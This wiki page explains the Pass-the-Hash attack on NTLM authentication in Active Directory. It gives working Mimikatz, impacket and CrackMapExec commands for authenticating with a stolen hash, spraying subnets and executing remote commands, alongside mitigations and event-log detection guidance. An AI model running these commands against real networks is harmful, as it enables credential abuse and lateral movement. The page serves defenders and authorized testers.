Skip to content
λmaldev wiki/
pagesPass-the-Hash
T1550.002WindowsC / C++PythonNTLMActive Directory

Pass-the-Hash

updated 2026-08-047 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

NTLM authentication uses the NT hash of a password directly as the session key — the plaintext is never needed after the initial derivation. An attacker who obtains the NT hash can authenticate to any service that accepts NTLM without ever cracking the password. The hash is the credential.

This has been known since 1997 and has never been patched, because it is a property of the NTLM protocol design. The fix is to disable NTLM entirely and enforce Kerberos, which requires the authenticating principal to prove knowledge of a secret derived differently.

Note.

Pass-the-hash with domain accounts works against any service that accepts NTLM, including SMB, WinRM, RDP (with NLA), MSSQL, and HTTP with Windows Integrated Authentication. Local accounts (non-domain) are more constrained: UAC remote restrictions (LocalAccountTokenFilterPolicy) block admin shares for local accounts unless explicitly disabled.

The call chain

  1. 1
    obtain NTLM hash
    Extract from LSASS dump, NTDS.dit, or a relay attack — any valid NTLM hash works.
  2. 2
    patch logon session credentials
    Tools like Mimikatz patch the current logon session in LSASS to hold the target hash.
  3. 3
    authenticate to remote service
    The OS uses the patched hash for NTLM authentication to SMB, WinRM, RDP (NLA), or any NTLM-capable service.
  4. 4
    execute / access resource
    PsExec-style execution, SMB share access, WMI command execution, etc.

Reference implementation

Mimikatz (on-Windows)

pth_mimikatz.shshell
# sekurlsa::pth patches LSASS to inject the hash into a new logon session
# Spawns a cmd.exe (or any binary) authenticated as the target account
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local        /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe

# The new cmd.exe window has Administrator's NTLM hash for all network auth
# Use it for lateral movement:
> dir \\dc01\c$
> psexec \\dc01 cmd.exe

impacket (Linux / remote)

pth_impacket.shshell
# All impacket tools accept LM:NT hash format (use aad3b435... as LM placeholder)
HASH="aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c"

# SMB exec (creates a service)
$ python3 psexec.py corp.local/Administrator@192.168.1.10 -hashes $HASH

# WMI exec (no service, less noise)
$ python3 wmiexec.py corp.local/Administrator@192.168.1.10 -hashes $HASH

# Spray across a subnet
$ python3 smbclient.py corp.local/Administrator@192.168.1.0/24         -hashes $HASH -c 'dir'

CrackMapExec (spray + execute)

pth_cme.shshell
# Validate the hash against a list of targets
$ crackmapexec smb 192.168.1.0/24   -u Administrator   -H 8846f7eaee8fb117ad06bdd830b7586c   --continue-on-success

# Execute a command on all matching hosts
$ crackmapexec smb 192.168.1.0/24   -u Administrator   -H 8846f7eaee8fb117ad06bdd830b7586c   -x "whoami /all"

Hash sources

Source technique Scope Noise level
LSASS dump Currently logged-on users High — handle to lsass
NTDS.dit All domain accounts Very high — DC access + VSS
NTLM relay Any authenticated user at relay time Medium — network-based
Responder / LLMNR Users querying broadcast names Low — passive listener
Token impersonation Current session’s logged-on accounts Medium

Mitigations

Control Effectiveness
Disable NTLM domain-wide Eliminates pass-the-hash for domain accounts
Enable LAPS Unique local admin passwords prevent reuse across hosts
Tiered admin model Limits blast radius — domain admin hashes not on workstations
LocalAccountTokenFilterPolicy = 0 (default) Blocks PTH to admin shares using local accounts
Protected Users group Prevents NTLM auth for member accounts

Detection

WINDOWS EID 4624
Logon type 3 (Network) with NtLmSsp authentication package from a workstation that doesn't normally admin-access the target.
WINDOWS EID 4648
Explicit credential logon — Mimikatz's sekurlsa::pth creates a new logon session with type 9.
NETWORK
NTLM authentication to a host where Kerberos should be preferred — NTLM on an AD domain is anomalous for domain accounts.
BEHAVIOURAL
A workstation authenticating to dozens of hosts in a short window using the same account (lateral movement sweep).

Logon type 9 (NewCredentials) in EID 4648 is the specific artifact of Mimikatz’s sekurlsa::pth: it creates a new logon session with explicit credentials while the original session remains intact. Alerting on type 9 logons from non-expected admin workstations is high-fidelity.

Variants & related

T1003.001LSASS Memory DumpPrimary source of hashes for pass-the-hash on current sessions.→T1003.003NTDS.dit ExtractionDomain-wide hash source; enables pass-the-hash across the entire domain.→
T1550.003Pass-the-TicketKerberos equivalent — uses TGT or TGS tickets instead of hashes.
Was this page useful?edit this page ↗